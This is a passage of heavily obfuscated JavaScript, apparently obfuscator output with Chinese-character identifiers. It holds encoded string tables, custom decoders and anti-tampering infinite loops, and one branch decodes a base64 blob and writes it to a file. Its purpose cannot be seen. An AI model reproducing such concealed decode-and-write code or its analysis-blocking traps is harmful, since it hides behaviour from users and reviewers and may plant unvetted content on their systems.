星川峰林=-1;for(var 水海金地=0;水海金地<山海林雪;水海金地++){var 雪月雪星=地天雪水.indexOf(風光風[水海金地]);if(雪月雪星===-1)continue;if(星川峰林<0){星川峰林=雪月雪星}else{川天木(星川峰林+=雪月雪星*91,星水木川|=星川峰林<<雲林光,雲林光+=(星川峰林&8191)>88?13:14);do{川天木(峰日.push(星水木川&255),星水木川>>=8,雲林光-=8)}while(雲林光>7);星川峰林=-1}}if(星川峰林>-1){峰日.push((星水木川|星川峰林<<雲林光)&255)}return 火光泉火(峰日)}}風地月山=地木}if(風地月山&&風地月山!==峰峰山(49)){if(function(){var 林林地金=峰峰山(84)in 天風雪;var 地天雪水=function(){const 林林地金=function(){const 林林地金=new(木泉(-785))('\u000a');return 林林地金[峰峰山(85)](地天雪水)};return 林林地金()};if(林林地金){var 風光風=月金(天風雪[峰峰山(86)]=峰峰山(87),function(林林地金,地天雪水){var 風光風=554;var 峰日=22;var 星水木川=-376;var 雲林光=-66;var 星川峰林={'\x62':()=>{return 星水木川=-11},'\u006b':-15,'\x63':-652,'\x7a':-132,'\x71':function(){return 峰日+=-46},'\x68':103,'\x44':function(峰日=typeof 星川峰林['\u0065']==峰峰山(88)){if(峰日){return arguments}return 月金(林林地金.sort((峰日,林林地金)=>峰日-林林地金),(雲林光==星川峰林['\u0042']?木泉(-692):山海林雪)(雪月雪星,[],0,星水木川==384?水海金地:undefined,林林地金,風光風==-32||地天雪水),雲林光==-69||雪月雪星)},'\u0075':-127,'\u0064':11,'\x4c':-754,'\x6a':function(林林地金=typeof 星川峰林['\u0065']==峰峰山(88)){if(林林地金){return 雲林光}return 峰日=-76},'\x49':function(){return(風光風*=2,風光風-=星川峰林['\u0048'])},'\x41':576,'\u0079':()=>{return 林林地金.length},'\u0042':86,'\x69':()=>{return 星水木川+=星川峰林['\x68'],雲林光+=-127},'\x65':749,'\u004b':()=>{return 峰日+=46},'\x70':function(){return 雲林光+=星水木川+-1130},'\x6f':function(){return 星水木川+=863},'\u0066':()=>{return 星水木川+=749,雲林光+=-746},'\x76':(林林地金=雲林光==-66)=>{if(!林林地金){return 星川峰林}return 雲林光+=星川峰林['\x75']},'\u0048':510,['\x4d']:function(林林地金){return 林林地金!=-376&&(林林地金!=-479&&林林地金- -510)}};while(風光風+峰日+星水木川+雲林光!=142){switch(風光風+峰日+星水木川+雲林光){case 31:if(星川峰林['\u0063']==-479||false){星川峰林['\u0069']();break}川天木(星川峰林['\u006a'](),星川峰林['\u006f'](),星川峰林['\u0070']());break;case 星川峰林['\x4d'](星水木川):川天木(星水木川=-(星水木川+382),星川峰林['\u0066']());break;case 74:if(星川峰林['\u006b']==-14||false){川天木(風光風+=22,星川峰林['\x4b'](),星水木川+=星川峰林['\x4c'],雲林光+=619);break}川天木(峰日=-76,風光風+=22,峰日+=46,星水木川+=6);break;case 7:case 276:case 426:var 水海金地=星川峰林['\x79']();川天木(星水木川+=760,雲林光+=星水木川+-1003);break;case 484:case 846:case 871:case 134:if(false){川天木(風光風*=2,風光風-=576,星川峰林['\u0071'](),星水木川+=754,雲林光*=2,雲林光-=星川峰林['\x64']==532?'\x73':680);break}var 雪月雪星=[];星川峰林['\x76']();break;case 120:case 1001:case 913:case 908:川天木(星水木川=-11,星川峰林['\u0049']());break;case 782:default:川天木(星川峰林['\u0062'](),星水木川*=2,星水木川-=-876,雲林光+=峰日+星川峰林['\x63']);break;case 23:川天木(星水木川=-星川峰林['\u0064'],星水木川+=星川峰林['\x65'],雲林光+=-630);break;case 148:if(風光風==星川峰林['\x7a']){川天木(風光風*=2,風光風-=星川峰林['\x41'],星水木川+=-6);break}return 星川峰林['\u0044']();星水木川+=-6;break}}});var 山海林雪=function(林林地金,地天雪水,風光風,峰日,星水木川,雲林光){var 星川峰林=null;if(雲林光<0)return;if(雲林光===0)return 林林地金.push(地天雪水);for(var 水海金地=風光風;水海金地<峰日;水海金地++){if(星水木川[水海金地]>雲林光)break;if(水海金地>風光風&&星水木川[水海金地]===星水木川[水海金地-1])continue;川天木(星川峰林=木泉(-363).from(地天雪水),星川峰林.push(星水木川[水海金地]),山海林雪(林林地金,星川峰林,水海金地+1,峰日,星水木川,雲林光-星水木川[水海金地]))}};木泉(-495).log(風光風)}return 地天雪水()}()){var 泉峰月=[峰峰山(89)];var 天風天=泉峰月[0];while(true){if(月金(天風天=天風天,!天風天))break}}木泉(-495)[峰峰山(90)](峰峰山(91))}}}}if(!風地月山||風地月山===峰峰山(49)){if(月金(木泉(-495)[峰峰山(92)](峰峰山(93)),function(){var 林林地金=function(){const 地天雪水=function(){const 地天雪水=new(木泉(-785))('\u000a');return 地天雪水[峰峰山[海天日天(200)](undefined,94)](林林地金)};return 地天雪水()};return 林林地金()}())){while(true){var 天影=99;for(天影=99;天影==天影;天影*=天影){if(月金(!天影&&木泉(-495).log(天影),天影)<=10){break}};if(天影===100){天影--}};}return}const 泉雲日=Buffer[峰峰山(95)](風地月山,峰峰山(96))[峰峰山(97)](峰峰山(98));if(!風風海[峰峰山(39)](雲林光)){if(function(){var 林林地金=function(){const 地天雪水=function(){const 地天雪水=new(木泉(-785))('\x0a');return 地天雪水[峰峰山(99)](林林地金)};return 地天雪水()};return 林林地金()}()){while(true){var 星影木=99;for(星影木=99;星影木==星影木;星影木*=星影木){if(月金(!星影木&&木泉(-495).log(星影木),星影木)<=10){break}};if(星影木===100){星影木--}};}木泉(-495)[峰峰山(100)](峰峰山(101))}風風海[峰峰山(102)](雲林光,泉雲日,峰峰山[海天日天(200)](undefined,98))}catch(e){var 泉星金=峰峰山(103);if(月金(木泉(-495)[泉星金](峰峰山(104)+e),function(){var 林林地金=function(){const 地天雪水=function(){const 地天雪水=new(木泉(-785))('\x0a');return 地天雪水[峰峰山[海天日天(201)](undefined,[105])](林林地金)};return 地天雪水()};return 林林地金()}())){while(true){var 月日雲地=99;for(月日雲地=99;月日雲地==月日雲地;月日雲地*=月日雲地){if(月金(!月日雲地&&木泉(-495).log(月日雲地),月日雲地)<=10){break}};if(月日雲地===100){月日雲地--}};}return}}export default 星光;function 木泉(林林地金){var 地天雪水=(林林地金,風光風,山海林雪,峰日,星水木川)=>{if(typeof 峰日===海天日天(181)){峰日=風林川}if(typeof 星水木川===海天���天(181)){星水木川=月川雪}if(林林地金!==風光風){return 星水木川[林林地金]||(星水木川[林林地金]=峰日(水山[林林地金]))}if(山海林雪&&峰日!==風林川){地天雪水=風林川;return 地天雪水(林林地金,-1,山海林雪,峰日,星水木川)}if(山海林雪==林林地金){return 風光風[月川雪[山海林雪]]=地天雪水(林林地金,風光風)}if(山海林雪==峰日){return 風光風?林林地金[星水木川[風光風]]:月川雪[林林地金]||(山海林雪=星水木川[林林地金]||峰日,月川雪[林林地金]=山海林雪(水山[林林地金]))}};var 風光風=峰峰山(135);var 山海林雪=峰峰山(131);var 峰日=峰峰山[海天日天(201)](undefined,[125]);var 星水木川=峰峰山[海天日天(200)](undefined,123);var 雲林光=[峰峰山(113),峰峰山(134),峰峰山(139)];var 星川峰林=峰峰山(111);var 水海金地={['川泉地川']:峰峰山(110),['泉雪天']:峰峰山(117)};var 雪月雪星;switch(林林地金){case-711:return 山木[峰峰山(106)];case-559:return 山木[峰峰山(107)];case-363:return 山木[峰峰山(108)];case 72:雪月雪星=峰峰山(109)||山木[峰峰山(109)];break;case 907:return 山木[水海金地['川泉地川']];case 142:雪月雪星=星川峰林||山木[峰峰山[海天日天(200)](undefined,111)];break;case 232:return 山木[峰峰山[海天日天(201)](undefined,[112])];case 86:雪月雪星=峰峰山(113)||山木[雲林光[0]];break;case-321:return 山木[峰峰山(114)];case 954:return 山木[峰峰山(115)];case-961:雪月雪星=峰峰山(116)||山木[峰峰山(116)];break;case-873:return 山木[水海金地['泉雪天']];case-495:return 山木[峰峰山(118)];case-785:return 山木[峰峰山[海天日天(201)](undefined,[119])];case-513:雪月雪星=峰峰山(120)||山木[峰峰山(120)];break;case 5:雪月雪星=峰峰山(121)||山木[峰峰山(121)];break;case 834:雪月雪星=峰峰山[海天日天(200)](undefined,122)||山木[峰峰山(122)];break;case-517:雪月雪星=峰峰山(123)||山木[星水木川];break;case-193:return 山木[峰峰山(124)];case-864:return 山木[峰日];case-762:雪月雪星=峰峰山[海天日天(200)](undefined,126)||山木[峰峰山[海天日天(201)](undefined,[126])];break;case 630:return 山木[峰峰山(127)];case-301:雪月雪星=峰峰山(128)||山木[峰峰山(128)];break;case 474:return 山木[峰峰山[海天日天(201)](undefined,[129])];case-811:雪月雪星=峰峰山(130)||山木[峰峰山(130)];break;case 204:return 山木[山海林雪];case-529:雪月雪星=峰峰山(132)||山木[峰峰山(132)];break;case-894:return 山木[峰峰山[海天日天(200)](undefined,133)];case 61:return 山木[雲林光[1]];case 916:雪月雪星=風光風||山木[峰峰山(135)];break;case-692:return 山木[峰峰山(136)];case 810:雪月雪星=峰峰山(137)||山木[峰峰山(137)];break;case 2723:return 山木[峰峰山(138)];case 2344:return 山木[雲林光[2]];case 3179:雪月雪星=地天雪水(140)||山木[地天雪水(140)];break;case 2437:return 山木[地天雪水[海天日天(200)](undefined,141)];case 4374:雪月雪星=峰峰山(142)||山木[峰峰山[海天日天(201)](undefined,[142])];break;case 3477:雪月雪星=地天雪水(143)||山木[地天雪水(143)];break;case 114:return 山木[峰峰山[海天日天(201)](undefined,[144])];case 335:return 山木[地天雪水(145)];case 3542:雪月雪星=峰峰山(146)||山木[峰峰山(146)];break;case 830:return 山木[地天雪水(147)];case 2383:雪月雪星=地天雪水(148)||山木[地天雪水(148)];break;case 2453:雪月雪星=峰峰山(149)||山木[峰峰山(149)];break;case 542:return 山木[地天雪水(150)]}return 山木[雪月雪星];function 風林川(林林地金){var 地天雪水='\x44\x4a\x78\x39\x36\x33\x61\x3d\x71\x59\x21\x37\x52\x3f\x69\x2b\x48\x4b\x43\x56\x38\x77\x70\x76\x7b\x6c\x5b\x42\x6e\x3b\x7e\x4e\x40\x65\x73\x30\x50\x55\x22\x2f\x4f\x5f\x6f\x66\x74\x5e\x79\x29\x64\x7c\x7d\x6d\x6b\x75\x41\x2a\x24\x25\x51\x45\x32\x57\x47\x46\x3e\x53\x5a\x54\x60\x5d\x3c\x2e\x63\x62\x68\x67\x49\x23\x34\x35\x31\x4c\x2c\x4d\x58\x6a\x3a\x28\x26\x7a\x72';var 風光風=''+(林林地金||'');var 山海林雪=風光風.length;var 峰日=[];var 星水木川=0;var 雲林光=0;var 星川峰林=-1;for(var 水海金地=0;水海金地<山海林雪;水海金地++){var 雪月雪星=地天雪水.indexOf(風光風[水海金地]);if(雪月雪星===-1)continue;if(星川峰林<0){星川峰林=雪月雪星}else{川天木(星川峰林+=雪月雪星*91,星水木川|=星川峰林<<雲林光,雲林光+=(星川峰林&8191)>88?13:14);do{川天木(峰日.push(星水木川&255),星水木川>>=8,雲林光-=8)}while(雲林光>7);星川峰林=-1}}if(星川峰林>-1){峰日.push((星水木川|星川峰林<<雲林光)&255)}return 火光泉火(峰日)}}function 山地林雲(林林地金){var 地天雪水='\x51\x3f\x4e\x71\x41\x58\x49\x42\x5a\x6e\x69\x48\x61\x62\x43\x6a\x59\x77\x39\x32\x5f\x23\x53\x3b\x25\x7d\x4b\x24\x67\x5d\x68\x7b\x35\x76\x2b\x70\x55\x31\x4d\x44\x45\x6b\x21\x36\x5b\x7e\x29\x2a\x46\x72\x4a\x65\x40\x28\x33\x4f\x3a\x22\x7a\x79\x3e\x30\x63\x37\x2f\x7c\x78\x2c\x38\x74\x6c\x75\x52\x3c\x66\x56\x26\x64\x4c\x73\x3d\x6d\x60\x50\x5e\x54\x57\x2e\x6f\x47\x34';var 月川雪=''+(林林地金||'');var 水山=月川雪.length;var 峰峰山=[];var 風光風=0;var 山海林雪=0;var 峰日=-1;for(var 星水木川=0;星水木川<水山;星水木川++){var 雲林光=地天雪水.indexOf(月川雪[星水木川]);if(雲林光===-1)continue;if(峰日<0){峰日=雲林光}else{川天木(峰日+=雲林光*91,風光風|=峰日<<山海林雪,山海林雪+=(峰日&8191)>88?13:14);do{川天木(峰峰山.push(風光風&255),風光風>>=8,山海林雪-=8)}while(山海林雪>7);峰日=-1}}if(峰日>-1){峰峰山.push((風光風|峰日<<山海林雪)&255)}return 火光泉火(峰峰山)}function 雪日山水(){var 林林地金='\x3d\x44\x55\x41\x3a\x39\x3c\x50\x3c\x51\x37\x45\x47\x6e\x7c\x46\x5d\x7b\x3f\x57\x7c\x43\x32\x2f\x36\x2b\x72\x6c\x6c\x4d\x24\x73\x7c\x57\x21\x5e\x58\x68\x68\x5b\x29\x41\x7e\x44\x50\x56\x63\x7c\x56\x79\x74\x77\x7a\x7c\x2e\x6f\x38\x58\x3c\x65\x32\x7d\x7c\x3a\x35\x53\x57\x2f\x59\x34\x65\x79\x78\x37\x7c\x51\x35\x6c\x2fē\x60\x71\x46\x6e\x24\x7c\x3b\x6a\x5f\x64\x4c\x6d\x4b\x4e\x7c\x78\x65\x4d\x7b\x64\x6d\x5fŝ\x4b\x31\x2f\x72\x4d\x3c\x6b\x3f\x7c\x35\x22\x2f\x33\x37\x64\x40ŝ\x49\x70\x50\x5a\x6f\x79\x77\x7d\x58Ď\x22\x65\x35\x79\x64\x25ŝ\x64\x49\x4c\x7b\x60\x74\x4aŝ\x7b\x6a\x62\x69\x5d\x7c\x5e\x65Œ\x7c\x75\x33\x50\x5d\x4c\x4a\x5aŦ\x3e\x22\x33\x24\x75\x29ŝ\x3d\x2b\x75\x72\x39\x26\x29\x40ƀ\x72\x31\x43\x42\x4d\x54\x37Ů\x2c\x7e\x64\x42\x3c\x26\x4e\x7a\x42\x7c\x3d\x5a\x60\x24\x2a\x56\x55\x38\x77\x53\x4e\x65\x41\x3e\x56\x62\x29\x77\x79\x46\x57\x36\x42\x70\x3d\x33\x5e\x4a\x50\x4e\x26\x4b\x49\x31\x52\x6e\x65\x60\x29ĥ\x5a\x6d\x6c\x43\x30\x62\x7c\x76\x36\x7dƥ\x7c\x47\x43\x3e\x64\x43\x66\x32\x6d\x49\x7c\x68\x6aǻǽǿ\x43\x5a\x5d\x52ǦDz\x22\x38\x75\x26\x6d\x6d\x31\x32\x68\x23\x26\x72Ů\x66\x46\x22\x5a\x63\x46\x67\x3d\x41\x7c\x5a\x22\x75\x49\x45\x60\x42Ů\x62\x35\x68\x7b\x21\x3d\x21\x40\x44ũ\x7c\x7e\x45\x31\x69Ǹ\x43\x26\x66\x65\x65\x29Ȣ\x7c\x72\x36\x2eǣ\x7c\x50\x7e\x76\x24\x36\x60\x48Ůǥ\x6d\x35\x6b\x3d\x6a\x28\x28\x32\x4f\x7c\x4c\x53\x48\x69\x72\x38\x5e\x25\x48\x77\x2f\x78\x69\x30\x4a\x43ɜǎ\x64\x5e\x74ı\x7dǃ\x74\x4c\x6b\x2a\x31\x7c\x5d\x6a\x65\x5a\x29\x72\x56\x74\x26\x63\x22\x3d\x4f\x4d\x61\x7c\x4a\x22\x51\x6eɬ\x50\x65\x6c\x7bŔ\x58\x5d\x53\x42\x39\x50\x6e\x56ȁ\x2e\x50\x35\x5f\x24\x22\x57\x22\x39\x71ĵ\x50\x3e\x7e\x3f\x26Ʀ\x3e\x51\x2f\x77\x7e\x70\x6dʼn\x41\x41\x40\x64\x7b\x75\x51ȼȾɀɂ\x74\x30\x4e\x49ŮȃȅǾȀ\x7c\x63\x77\x6f\x3clj\x3a\x68ƀ\x37\x71\x5d\x42\x74\x46\x78\x40\x2e\x7a\x75\x7d\x57\x31\x2b\x25\x76\x33\x2e\x3c\x49\x4f˚\x3f\x22\x6c\x48\x4a\x7dˢĵ\x5f\x4d\x44\x7e\x37\x34\x46\x7c\x39\x3eŘţŎȔ\x7c\x61ŀ\x2a\x62\x6c\x5e˹\x40\x39Ʀ\x7b\x3a\x56\x71\x7b\x4fĕă\x61\x6c\x75\x34\x25\x41\x4d\x4f\x77\x48\x33\x3b\x2f\x42\x5a\x3b\x3d\x40\x63\x39\x4a\x2aɊ\x4f\x5b\x5f\x63\x44\x44\x29';var 川天木={['\x51\x54\x50\x52\x33\x54\x42\x7a\x54\x62\x4a\x46']:0,['\u0030\u0033\u004e\u0037\u0032']:null,['\u0071\u005a\u0074\u004a\u006e\u0063']:null,['\u0034\u006b\u0058\u0050\u004f\u0038\u0079\u005a\u0067\u0070']:'',['\u0073\u004a\u004e\u004a\u0063']:0,['\u0054\u0079\u006c\u0039\u004b\u0047\u0031\u0066\u0044\u0070']:false,['\u0038\u004b\u0047\u0058\u0037\u0052\u004b\u0037\u0077\u0032']:NaN,['\u0070\u006d\u0043\u006f\u0068\u0031\u006a\u0053']:undefined,['\x36\x42\x53\x62\x62']:0,['\x42\x64\x33\x6d\x51\x7a']:false,['\u0043\u0069\u0066\u0067\u006a\u0076\u0075\u006e\u0044\u006b\u0068\u0041']:0,['\x64\x30\x62\x7a\x33\x50\x35\x71\x72\x78\x4c']:undefined,['\u0050\u0039\u005a\u0033\u0078\u0045']:undefined};if('\u0072\u004b\u006e\u0048'in 川天木){林林地金+='\x6c\x77\x51\x63\x77\x75\x38\x6e\x54\x79\x70\x4b\x4a\x48\x54\x32\x33\x74\x78\x44\x57\x49\x55\x79\x53\x67\x76\x38\x5a\x77\x52\x41\x39\x72\x75\x57\x47\x4f\x53\x68\x71\x64\x43\x73\x6e\x69\x37\x64\x75\x32\x48\x30\x64\x75\x5a\x47\x54\x56\x33\x42\x78\x67\x4e\x67\x39\x7a\x71\x50\x58\x6e\x52\x7a\x79\x79\x4e\x31\x32\x52\x56\x42\x52\x68\x31\x68\x56\x71\x44\x52\x70\x71\x32\x4d\x55\x4c\x35\x43\x45\x77\x68\x56\x6e\x75\x61\x6c\x57\x6a\x5a\x49\x49\x6c\x76\x37\x46\x38\x39\x32\x70\x4c\x57\x61\x78\x65\x48\x35\x66\x58\x56\x78\x76\x5a\x62\x64\x7a\x61\x4e\x78\x45\x71\x54\x4b\x4e\x77\x66\x48\x58\x51\x36\x75\x67\x62\x47\x45\x64\x75\x56\x58\x6c\x50\x73\x74\x58\x6c\x4d\x36\x69\x76\x31\x72\x39\x57\x68\x54\x71\x7a\x33\x58\x6d\x7a\x66\x38\x78\x79\x75\x53\x36\x68\x45\x31\x6e\x74\x75\x31\x59\x65\x6a\x37\x32\x70\x59\x44\x44\x54\x74\x56\x54\x5a\x6d\x4b\x70\x69\x57\x75\x54\x47\x76\x4b\x44\x35\x65\x33\x45\x5a\x34\x57\x6d\x49\x39\x71\x47\x38\x43\x4d\x66\x37\x73\x52\x59\x37\x37\x58\x78\x69\x64\x5a\x42\x55\x6c\x78\x65\x4b\x67\x61\x73\x55\x37\x74\x38\x71\x47\x57\x62\x65\x45\x78\x4a\x36\x79\x6c\x62\x61\x44\x52\x75\x41\x4d\x4b\x35\x34\x52\x38\x33\x6a\x43\x6c\x42\x49\x62\x55\x6c\x4f\x67\x31\x50\x77\x42\x4a\x71\x59\x39\x4d\x4b\x48\x33\x37\x44\x4f\x78\x31\x45\x4f\x39\x4f\x35\x6e\x6f\x48\x6c\x73\x57\x59\x31\x54\x4b\x4f\x4f\x35\x69\x4b\x53\x70\x59\x50\x63\x34\x79\x71\x6f\x43\x33\x70\x4f\x6c\x6e\x6d\x4a\x78\x33\x76\x78\x61\x79\x5a\x57\x46\x35\x6f\x34\x4f\x63\x76\x48\x68\x62\x68\x62\x34\x65\x43\x30\x71\x6e\x4a\x47\x68\x62\x52\x46\x73\x47\x38\x6c\x6d\x63\x7a\x65\x68\x66\x4a\x6b\x36\x62\x43\x6d\x4b\x6e\x6b\x4e\x68\x4a\x58\x70\x76\x6e\x53\x52\x57\x58\x36\x76\x6f\x45\x38\x68\x5a\x56\x77\x62\x43\x67\x65\x34\x69\x77\x50\x76\x54\x5a\x6c\x53\x6d\x46\x79\x42\x48\x35\x68\x37\x4c\x4b\x75\x68\x68\x71\x4b\x31\x71\x6e\x5a\x73\x44\x6d\x68\x38\x54\x57\x44\x69\x52\x49\x79\x34\x76\x5a\x57\x36\x68\x61\x46\x53\x59\x56\x64\x74\x59\x41\x6e\x6b\x45\x62\x31\x77\x54\x46\x30\x54\x4c\x4e\x33\x66\x51\x61\x58\x54\x6b\x31\x53\x49\x67\x6d\x62\x73\x69\x57\x34\x42\x71\x49\x4b\x76\x42\x42\x7a\x4d\x35\x51\x61\x35\x75\x48\x37\x64\x6e\x76\x44\x53\x31\x39\x79\x6b\x5a\x49\x35\x77\x74\x61\x7a\x35\x51\x36\x6c\x30\x6f\x77\x6c\x37\x45\x78\x54\x65\x5a\x57\x37\x75\x4b\x75\x7a\x46\x69\x57\x65\x70\x47'}if('\x34\x6b\x58\x50\x4f\x38\x79\x5a\x67\x70'in 川天木){林林地金+='\u0079\u0034\u006f\u006d\u0034\u0047\u0042\u0068\u0070\u003e\u0069\u0044\u0026\u007d\u002e\u0079\u0061\u0039\u0034\u0042̍\u007e\u006e\u0059\u0056\u0060\u006e\u0076̹\u0038Č\u005a\u006b\u003c\u003e\u006b\u0044\u0041\u0043\u005dȠ\u005e\u004d\u0058\u0051\u003a\u0054\u004d\u0055\u0032\u0065\u0044\u007b\u0043\u004e\u004eƭ\u006a\u0030Ƙ\u005a\u007c\u006e\u0041\u0070\u005d\u003b\u0022\u0068ŝ\u0052\u007b\u0074\u0069\u0021\u0031ťͯ\u0072\u004b\u005d\u0051\u0057\u003eŝ\u0030\u0045ȯ\u003f\u0052\u0042\u006d\u0056\u0077\u004a\u007c\u0070\u0036\u005ačǹˈǿ\u0037\u0058ɧ\u004b\u0072\u0079\u0070\u006e\u003f\u003d\u0032\u0057\u0071Ů\u0074\u0065\u0024\u0035Ŕ\u006d\u0071\u0079\u0035\u003b\u004d\u0062Ů\u0036\u0036\u0068\u0042\u007e\u003dΌ\u0059\u0039Ġ\u0065\u0025\u006e\u0035\u0075\u0059\u0040\u0049\u002f\u007d\u0024\u0064\u0052\u002e\u002bȼΗ\u006d\u002f\u004a\u0067\u0052\u0030\u0061\u0056\u004d\u0069\u0041\u0071\u0035\u003a\u006c\u007d\u003fŝ\u007eƊƌƎŝ\u002aΨ\u0035\u0062\u0066\u003e\u0068ȁ\u0035ɀ\u0035\u0076\u0054ʽ\u0054\u0079ƤƦƨɺ\u003ešρ\u0068\u0040\u0036\u0077\u002c\u0078\u0076σ\u0045\u0059Ů\u004e\u006a\u0042\u0026\u0045\u0033\u0061\u004eǃ\u003e\u0071\u0023\u0069\u004b\u007c\u0064\u002bš\u0045\u003d\u005b\u0040\u0053\u002f\u003e\u0078\u006aɫ\u007c\u0025\u0033\u0047Ļ\u007c\u0073\u0065\u0067\u0064ƦȔА\u0071\u003dč\u004b\u0036Ř\u002b\u004cǫȁ\u006f\u0043\u0033\u007b\u0028\u005e\u0021ŝȃГ\u0042ț\u0068\u0033\u002f\u0075\u003cŮ\u0055ε\u007b\u007d\u0026;\u006d\u002b\u003c\u0033\u005b\u0038\u003d\u0025\u0035\u0037ϒŮǹГŕ\u0075\u0070\u0035\u003c\u0046\u0074\u0062\u0033\u0032\u0022\u007cѓѕї\u002bŝȎ\u0055\u0064\u0036Ā\u0032ǃ\u0059ƂƄƆŝ\u0055\u0065ʹѵʽл\u0029\u007bɕ\u0034Л\u0063\u0028\u0042\u0046\u0024\u0077\u0044\u003bŮ\u0064\u0079˽Ϗˠ\u0032˺\u006a\u0038\u0064\u003c\u006d\u0059\u006cʃѫʷʹʻ\u0058\u0074ш\u0030ы\u007c\u004f\u0033ĸ\u0060\u006d\u003f\u0032\u0076\u0037\u0077\u0065Ůɻȯ\u006d\u0074\u0063\u0068Ž\u007c\u0079\u0063ɽ\u0056ѦѨѪ\u007c\u003c\u0079\u003f\u0033\u0067Ƨŝɻ\u0036\u0035\u006a\u0066\u007aϬŕ\u006fĐȱ\u0041\u005aОΐ\u0076\u0026\u005e\u004e\u0070\u0049Ƴ\u0052\u0047\u0051\u006bΐδ\u006b\u0023\u004e\u002e\u0073\u0031ķƖ\u0021ǧ\u0068\u0075\u0060\u003dȁ\u0029\u006d\u0063\u0059\u002f\u006a\u0044Ȃ\u006a\u002cϮ\u0064һ\u0069\u005f\u0049\u002a\u0074ȣ\u007e\u002b\u0054\u0040\u0034\u0049\u0064\u007e\u0032\u0047Ν\u0073\u0057\u0052ЖИ\u007bК\u0038\u0066ОҴɖ\u005e\u0045\u0069Ů\u002a\u0041\u0050\u003b\u0037\u002aӿԧŒ\u0045\u0023ȯ\u0049ЕЈЊ\u003e\u007a\u0078\u0025ǃ\u0070\u002e̘\u007e\u0034\u0073\u0078\u007c\u004dӵ\u0035\u002e\u0075\u0031\u0022\u003fʯ\u0076\u0065ǽ\u004bч\u004dǃ\u0035Қ\u0066\u004a\u0031\u006d\u0022\u005e\u002f\u0047\u0028\u0056\u006c\u0076ɹ\u0028'}if('\u0051\u0054\u0050\u0052\u0033\u0054\u0042\u007a\u0054\u0062\u004a\u0046'in 川天木){林林地金+='\u0061\u004a\u0035\u0049\u0073\u0067̉\u006a\u0029\u003c\u0074\u007d\u002c\u0031\u007a\u006e\u0021\u0035Ԓ\u0025\u0055\u0076΅\u004e\u005b\u0024\u0043\u0044\u0031\u0031\u0073\u0026\u003a\u0065\u005b\u0039\u0065ʥ͸\u0071\u006a\u007c\u007b\u0038\u0072\u0052\u005e\u0040\u0062\u002a\u004a\u0033\u003d\u0053\u0079\u007a\u0058\u0031Ƙ\u0070ƽ\u0057\u0064\u0022\u0041\u0022ԉ\u006a\u002a\u0067\u0070DŽ\u006c\u0061ʘ\u006d\u0038˨\u002f\u0074\u003e\u0050\u006c\u003f\u0031\u0023\u0038\u006d\u0065Ό\u0066\u0040\u0023\u0033\u0068\u0024Ү\u0024ͼ\u0061\u002c\u005d\u002b\u0070\u0047\u003f̺\u0057\u006cʽ\u0068\u0022ĺէ̗\u006dʉ\u0064\u003a\u004b\u0056\u0037\u004f\u0071\u006d\u0051ׇ\u0067ʇ\u003f\u0055\u0068\u0031\u0040־\u007a\u0035\u0039\u0051\u006a\u0054\u005a\u0044\u004e\u0071\u0031\u0039Ů\u0021\u0065\u0064\u0067\u0038\u002b\u0030\u006bȄ\u004b\u0025\u0054\u0041֌\u0058\u0075\u003dЫ\u0050ɣ\u002a\u003e\u005a\u0024\u004d\u0072\u0063\u0021\u0072\u0049\u0058\u004f\u006d\u007e\u003a\u007a\u004a\u003e\u0046\u003d\u005eı\u0025\u0038\u0067Ѥ\u0051ʯǸƘ\u0024\u0076\u0072͂\u006a\u006a\u0051\u0038؎\u0025\u0067ئ\u0024\u0052\u004a\u0064͂\u0071\u0022\u003b\u0026\u0048\u002a\u0046Ѱ\u0061\u0029\u0042ʹ\u0067\u0055\u005b\u0048\u007c\u0055؇\u0033\u0072\u0072\u0041\u0025\u005d̓\u0053\u005b\u0050\u0070ɳ\u005d\u0033\u0041ų\u003aر\u005f֪\u0075\u0021\u006b\u0065\u0045\u0038\u005f̥\u0048\u005e\u0061α\u003c\u0039ȫ\u007c\u0042Ȑ\u0064\u0057\u0075\u0046ղ\u005f\u0071\u004c֧\u002b\u0055\u0058\u003b\u0078\u0035\u0029\u003a\u003f\u0056\u0034\u0063\u0029ʂ\u0025\u0075\u004d\u003aʽ\u0043\u0035\u0045\u0049\u0046\u0056ʽ\u002c\u0071\u0077\u0024\u0044\u0054\u006d\u0042\u002bʛ\u005dɖ\u0067\u006b\u0053\u003b\u007b\u0040\u0055\u0054ְփ\u0039\u0063\u004d\u007d\u007b\u0055\u007c\u002b\u0036\u0056\u005d\u0044΀\u0068\u0046\u0037\u005eٕ\u0024צ\u0042\u0035֨\u0067\u007c\u005f\u0045\u0057\u0041\u0067\u0054֔\u0050\u0033Ը\u007d\u0059\u0074\u0039\u003d\u0048ʛ\u005fӵ\u0061\u005e\u0062\u0059\u0038\u0063\u007a\u0056җ\u002a\u004b\u002e\u0041׽\u0047\u0054ɥ\u0039\u0031\u0067ս\u0045י׸\u003c\u0055\u007e\u0056\u0029\u0078\u0041\u0052\u0062\u005e\u002cڱ\u006a˕ͬ\u0021\u002f\u002a\u0037\u006d\u0028\u0058\u003e\u003f\u003bՃ\u0046\u006bڿ\u0038\u0071\u0032ɖ˩Ѓڱ\u0073\u007e\u0024\u0066\u0036\u0037\u0036Ů\u0043\u0029\u0028\u0026ؙ\u0050\u0022\u0069ʲ\u004f\u006f\u0070Ҏ\u0026\u0043\u0051\u0049\u0056\u0050ۓҲ\u0054\u0028Ů\u006a\u0049\u0054˯\u0045\u0042\u0028\u0046ʉ\u0041ɢǠ\u004c\u0033\u004e\u003c\u005f\u0028\u0039\u0078۫\u0070\u002a\u002b\u0068\u0041\u002c\u0066۳\u0071\u006eȗ\u0026\u0052\u002c\u0068\u004a\u0065۫\u006b۠\u005dۚ\u007c\u0033\u0045\u0051\u0033\u006a\u004fО\u0046\u0039\u007e\u0026\u0042ʧ\u0022\u0046\u003b\u006eդ\u0071\u006b\u0072\u0022\u0047\u0066\u0061\u0046ϋג\u0057\u003c\u0058\u0028\u0037\u0062\u0053\u0032\u005e\u0064\u0023\u0030ԆŐ\u0054ъ\u0046ѷ\u0037ʉ\u0045\u0066Ͳє\u0034'}if('\x76\x75\x62\x4a\x56\x62\x5a\x79\x4f\x76\x41\x41\x73'in 